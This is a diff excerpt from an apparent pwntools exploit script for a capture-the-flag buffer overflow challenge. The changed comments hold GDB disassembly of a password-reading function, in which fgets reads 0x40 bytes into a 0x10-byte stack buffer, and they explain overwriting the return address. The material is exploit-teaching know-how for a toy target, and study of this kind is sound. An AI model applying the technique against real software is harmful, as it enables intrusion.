|
29 | 29 | # https://docs.python.org/3/library/stdtypes.html#binary-sequence-types-bytes-bytearray-memoryview |
30 | 30 | io.recvuntil(b"Enter the password to access Santa Ono's secret vault:") |
31 | 31 |
|
32 | | - # "disassemble main" in GDB launched with "gdb buffer_overflow" |
33 | | - # Dump of assembler code for function main: |
34 | | - # 0x00000000004011a3 <+0>: endbr64 |
35 | | - # 0x00000000004011a7 <+4>: push rbp |
36 | | - # 0x00000000004011a8 <+5>: mov rbp,rsp |
37 | | - # 0x00000000004011ab <+8>: sub rsp,0x10 |
38 | | - # 0x00000000004011af <+12>: lea rdi,[rip+0xe6a] # 0x402020 |
39 | | - # 0x00000000004011b6 <+19>: call 0x401060 <puts@plt> |
40 | | - # 0x00000000004011bb <+24>: mov rdx,QWORD PTR [rip+0x2e7e] # 0x404040 <stdin@@GLIBC_2.2.5> |
41 | | - # 0x00000000004011c2 <+31>: lea rax,[rbp-0x10] |
42 | | - # 0x00000000004011c6 <+35>: mov esi,0x20 |
43 | | - # 0x00000000004011cb <+40>: mov rdi,rax |
44 | | - # 0x00000000004011ce <+43>: call 0x401070 <fgets@plt> |
45 | | - # 0x00000000004011d3 <+48>: mov eax,0x0 |
46 | | - # 0x00000000004011d8 <+53>: leave |
47 | | - # 0x00000000004011d9 <+54>: ret <-- returns to our injected address |
| 32 | + # "disassemble get_password" in GDB launched with "gdb buffer_overflow" |
| 33 | + # 0x00000000004011a3 <+0>: endbr64 |
| 34 | + # 0x00000000004011a7 <+4>: push rbp |
| 35 | + # 0x00000000004011a8 <+5>: mov rbp,rsp |
| 36 | + # 0x00000000004011ab <+8>: sub rsp,0x10 |
| 37 | + # 0x00000000004011af <+12>: lea rdi,[rip+0xe6a] # 0x402020 |
| 38 | + # 0x00000000004011b6 <+19>: call 0x401060 <puts@plt> |
| 39 | + # 0x00000000004011bb <+24>: mov rdx,QWORD PTR [rip+0x2e7e] # 0x404040 <stdin@@GLIBC_2.2.5> |
| 40 | + # 0x00000000004011c2 <+31>: lea rax,[rbp-0x10] |
| 41 | + # 0x00000000004011c6 <+35>: mov esi,0x40 |
| 42 | + # 0x00000000004011cb <+40>: mov rdi,rax |
| 43 | + # 0x00000000004011ce <+43>: call 0x401070 <fgets@plt> |
| 44 | + # 0x00000000004011d3 <+48>: nop |
| 45 | + # 0x00000000004011d4 <+49>: leave |
| 46 | + # 0x00000000004011d5 <+50>: ret <-- returns to our injected address |
48 | 47 |
|
49 | 48 | # In assembly you can read "sub rsp,0x10" at the start of "main" |
50 | 49 | # We need to write past 0x10 bytes to start modifying maliciously |
|
0 commit comments